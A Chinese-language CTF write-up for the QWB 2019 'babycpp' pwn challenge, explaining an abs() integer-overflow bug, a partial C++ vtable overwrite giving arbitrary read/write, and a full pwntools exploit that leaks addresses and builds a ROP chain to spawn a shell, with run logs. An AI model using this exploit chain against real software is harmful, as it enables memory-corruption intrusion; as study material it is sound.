C++的虚表攻击。
源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/qwb2019/pwn/babycpp 。
目录
安全防护
ex@Ex:~/test$ checksec babycpp
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
溢出点
在update
函数,有个典型的abs
漏洞,直接输入0x80000000
就可以导致abs
负数溢出,然后我们就可以直接修改C++
中的虚表。
void __fastcall update(container *arg)
{
int index; // [rsp+10h] [rbp-20h]
int v2; // [rsp+14h] [rbp-1Ch]
int i; // [rsp+18h] [rbp-18h]
int v4; // [rsp+1Ch] [rbp-14h]
char s[8]; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(s, 0, 8uLL);
printf("Input idx:", 0LL);
scanf("%u", &index);
printf("Input hash:");
v4 = read(0, s, 0x10uLL);
v2 = abs(index) % 15;
for ( i = 0; i < v4; ++i )
{
if ( v2 + i == 16 )
v2 = 0;
arg->hash[v2 + i] = s[i];
}
}
思路
- 部分覆盖改vtable
- 构造结构任意读写
部分覆盖改vtable
题目出的最好的地方就是这里,我们可以利用上面的漏洞来使得int array
和string array
的功能互搭。
new_array(1)
update('\0\0', 0, '0')
new_array(2)
update('\x01\0', 0, '1')
new_array(2)
update('\x02\0', 0, '2')
set_string('2', 0, 0x18, 'a' * 8)
if(len(sys.argv) > 1):
value = hook + 0x201CE0
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_int_vtable[::-1])
# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))
原本在malloc_ptr
上的是chunk
的指针,但是当吧int array
转为string array
后,我们就能利用show_int
来泄漏heap
地址。
构造结构任意读写
container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20
container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size
if(len(sys.argv) > 1):
value = hook + 0x201D00
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_string_vtable[::-1])
通过构造string array
结构,使其可以控制ptr[0].malloc_ptr
,这样我们就能实现任意地址读写。
运行结果:
pwndbg> pr
$1 = {
vtable = 0x555ead482ce0,
hash = "0", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb542b0 ""
}
$2 = {
vtable = 0x555ead482d00,
hash = "1", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb54370 ""
}
$3 = {
vtable = 0x555ead482d00,
hash = "2", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb54430 "@D\265\255^U"
}
pwndbg> x/4gx 0x555eadb54430
0x555eadb54430: 0x0000555eadb54440 0x0000000000000000
0x555eadb54440: 0x0000555eadb542a0 0x0000000000000100
pwndbg> p/x &($ptr[0].malloc_ptr)
$4 = 0x555eadb542a0
完整代码
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <dlfcn.h>
void _init()
{
printf("%p\\n", *(void **)dlopen(NULL, 1));
}
struct container
{
void **vtable;
char hash[16];
void *field_18;
char *malloc_ptr;
};
struct container no_use;
'''
f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
os.system('gcc -fPIC -shared -g /tmp/gdb_symbols.c -c -o /tmp/gdb_symbols.o && ld -shared -ldl /tmp/gdb_symbols.o -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)
context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './babycpp'
sh = 0
if(len(sys.argv) > 1):
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
else:
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $image_base=$rebase(0)
set $ptr=(struct container **)$rebase(0x202060)
define of
p/x $arg0-$image_base
end
define pr
set $temp=$ptr
while *$temp
p **$temp
set $temp=$temp+1
end
end
define pm
p/x $image_base
end
b *$rebase(0x1508)
'''
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def new_array(_type):
sh.sendlineafter('Your choice:', '0')
sh.sendlineafter('Your choice:', str(_type))
def update(old_hash, index, new_hash):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Input array hash:', old_hash)
sh.sendlineafter('Input idx:', str(index))
sh.sendafter('Input hash:', new_hash)
def set_string(hash, index, length, content):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
if(length != None):
sh.sendlineafter('Input the len of the obj:', str(length))
sh.sendafter('Input your content:', content)
def show_string(hash, index):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.recvuntil('Content:')
def show_int(hash, index):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.recvuntil('The value in the array is ')
def set_int(hash, index, value):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.sendlineafter('Input val:', '%lx' % (value))
hook = 0
hypothetical_int_vtable = '\x1c\xe0'
hypothetical_string_vtable = '\x1d\x00'
if(len(sys.argv) > 1):
hook = int(sh.readline(), 16)
log.info('hook: ' + hex(hook))
new_array(1)
update('\0\0', 0, '0')
new_array(2)
update('\x01\0', 0, '1')
new_array(2)
update('\x02\0', 0, '2')
set_string('2', 0, 0x18, 'a' * 8)
if(len(sys.argv) > 1):
value = hook + 0x201CE0
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_int_vtable[::-1])
# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))
container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20
container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size
if(len(sys.argv) > 1):
value = hook + 0x201D00
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_string_vtable[::-1])
set_string('2', 0, None, p64(container_0_addr))
show_int('0', 0)
result = int(sh.readline(), 16)
image_base_addr = result - 0x201ce0
log.success("image_base_addr: " + hex(image_base_addr))
set_string('2', 0, None, p64(image_base_addr + elf.got['puts']))
show_int('0', 0)
result = int(sh.readline(), 16)
libc_addr = result - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
set_string('2', 0, None, p64(libc_addr + libc.symbols['environ']))
show_int('0', 0)
stack_addr = int(sh.readline(), 16)
log.success("stack_addr: " + hex(stack_addr))
main_ret_addr = stack_addr - 0xf0
set_string('2', 0, None, p64(main_ret_addr))
# 0x0000000000001693 : pop rdi ; ret
pop_rdi_ret = 0x0000000000001693
# 0x0000000000000a4e : ret
ret_addr = 0x0000000000000a4e
set_int('0', 0, image_base_addr + ret_addr)
set_int('0', 1, image_base_addr + pop_rdi_ret)
set_int('0', 2, libc_addr + libc.search('/bin/sh\0').next())
set_int('0', 3, libc_addr + libc.symbols['system'])
set_int('0', 4, image_base_addr + pop_rdi_ret)
set_int('0', 5, 0)
set_int('0', 6, libc_addr + libc.symbols['exit'])
# exit
sh.sendlineafter('Your choice:', '4')
sh.interactive()
运行实例:
pwndbg> q
Detaching from program: /home/ex/test/babycpp, process 19216
ex@Ex:~/test$ ./exp.sh
times 1
[+] Starting local process './babycpp': pid 19325
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19325)
times 2
[+] Starting local process './babycpp': pid 19343
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19343)
times 3
[+] Starting local process './babycpp': pid 19361
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19361)
times 4
[+] Starting local process './babycpp': pid 19454
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] heap_addr: 0x55643e34dbf0
[+] image_base_addr: 0x55643c160000
[+] libc_addr: 0x7f81e15e8000
[+] stack_addr: 0x7ffee2fee1d8
[*] Switching to interactive mode
Bye!
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$